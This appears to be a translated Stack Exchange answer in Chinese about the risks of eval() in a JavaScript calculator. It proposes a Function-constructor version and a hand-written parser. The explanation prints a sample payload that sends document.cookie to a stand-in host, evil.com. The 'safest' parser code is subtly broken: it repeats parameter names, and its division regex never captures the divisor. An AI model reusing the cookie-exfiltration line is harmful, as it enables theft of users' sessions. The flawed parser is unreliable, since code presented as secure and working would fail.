在简易JavaScript计算器场景中使用eval()函数是否安全？

你的正则清理完全无效 #

你当前的代码逻辑是先执行eval()，再对结果做正则替换——这等于先把危险代码跑了再清理，完全起不到安全防护作用。如果用户输入的内容里包含恶意代码（比如(new Image()).src='https://evil.com/steal?'+document.cookie），eval会直接执行这段代码，之后的替换操作根本无法挽回损失。

为什么parseInt不适用？ #

parseInt的作用是将单个字符串转为整数，它无法处理完整的算术表达式（比如"1+2*3"）。你之前的问题是用错了工具：应该拆分表达式中的操作数和运算符，分别将操作数转换为数值后，再按照运算规则计算，而不是直接用eval处理整个表达式字符串。

安全的替代实现 #

放弃eval，自己实现简单的表达式解析逻辑。以下是两种可行方案：

方案1：用Function构造函数配合严格输入校验 #

Function构造函数比eval安全度稍高，但仍需严格校验输入内容，确保只有合法的算术字符能进入计算逻辑：

const equals = document.getElementById("equals");
const resultElem = document.getElementById("result");

equals.addEventListener("click", (e) => {
  let expr = resultElem.innerText.trim();
  // 严格校验输入：只允许数字、加减乘除、括号和空格
  const validPattern = /^[\d+\-*/()\s]+$/;
  if (!validPattern.test(expr)) {
    resultElem.innerText = "无效输入";
    return;
  }

  try {
    // 用Function构造函数执行表达式
    const calculate = new Function(`return ${expr}`);
    const result = calculate();
    resultElem.innerText = isNaN(result) ? "计算错误" : result;
  } catch (err) {
    resultElem.innerText = "计算错误";
  }
});

方案2：完全手动解析表达式（最安全） #

如果只需要基础的加减乘除功能，可以手动拆分操作数和运算符，按运算规则计算：

const equals = document.getElementById("equals");
const resultElem = document.getElementById("result");

// 简单实现加减乘除运算（含优先级处理）
function calculate(expr) {
  // 先处理乘除
  expr = expr.replace(/(\d+(\.\d+)?)\*(\d+(\.\d+)?)/g, (_, a, _, b) => Number(a) * Number(b));
  expr = expr.replace(/(\d+(\.\d+)?)\//g, (_, a, _, b) => {
    if (Number(b) === 0) throw new Error("除数不能为0");
    return Number(a) / Number(b);
  });
  // 再处理加减
  const nums = expr.split(/[+\-]/).map(Number);
  const ops = expr.match(/[+\-]/g) || [];
  let result = nums[0];
  for (let i = 0; i < ops.length; i++) {
    result = ops[i] === "+" ? result + nums[i+1] : result - nums[i+1];
  }
  return result;
}

equals.addEventListener("click", (e) => {
  let expr = resultElem.innerText.trim();
  const validPattern = /^[\d+\-*/\s]+$/;
  if (!validPattern.test(expr)) {
    resultElem.innerText = "无效输入";
    return;
  }

  try {
    const result = calculate(expr);
    resultElem.innerText = isNaN(result) ? "计算错误" : result;
  } catch (err) {
    resultElem.innerText = err.message;
  }
});

静态站点的安全提醒 #

即使部署在Netlify这类静态托管平台，客户端使用eval或Function仍存在风险——如果有人通过社交工程诱导用户输入恶意代码，代码会在用户的浏览器中执行，可能窃取用户的Cookie、本地存储数据等。严格的输入校验是基础，但最稳妥的方式还是完全避免使用这类可执行字符串的API。

内容的提问来源于stack exchange，提问作者Davidbay